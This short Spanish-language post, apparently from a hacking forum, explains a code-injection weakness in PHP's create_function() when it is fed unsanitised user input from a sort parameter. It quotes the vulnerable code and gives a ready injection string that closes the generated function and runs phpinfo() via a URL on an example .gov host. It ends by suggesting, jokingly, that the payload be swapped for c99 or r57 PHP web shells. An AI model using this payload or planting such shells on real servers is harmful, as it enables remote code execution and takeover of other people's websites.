
Web Servers : PHP create_function Code Injection Weakness
Inyección de código en la función create_function(), y en el exploit vemos:
$sort_by=stripslashes($_GET[sort_by]);
User-input = $sort_by
$sort_function = ' return ' . ($sort_order == 'ASC' ? 1 : -1) . ' * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]); ';
$sort_function incluye $sort_by
usort($databases, create_function('$a, $b', $sort_function));
Entonces, create_function() es llamado con datos del usuario, el cual no sanitiza y lo parasea.
En el exploit viene una forma de usarlo:
# call as test.php?sort_by="]);}phpinfo();/*
Guardas el exploit como test.php y lo llamas como
http://0xdeadb33f.gov/test.php?sort_by="]);}phpinfo();/*
Y el resultado debe ser la salida de phpinfo().
Eso es un simple Proof of Concept, en la vida real, debes hacer revisión de código para buscar las llamadas a create_function() y analizar si la función recibe datos de usuario (directa o indirectamente). Si es así, entonces, podrías cambiar tu phpinfo() por un bonit c99 o un r57 (php shells) jeje.
SaluD.o.S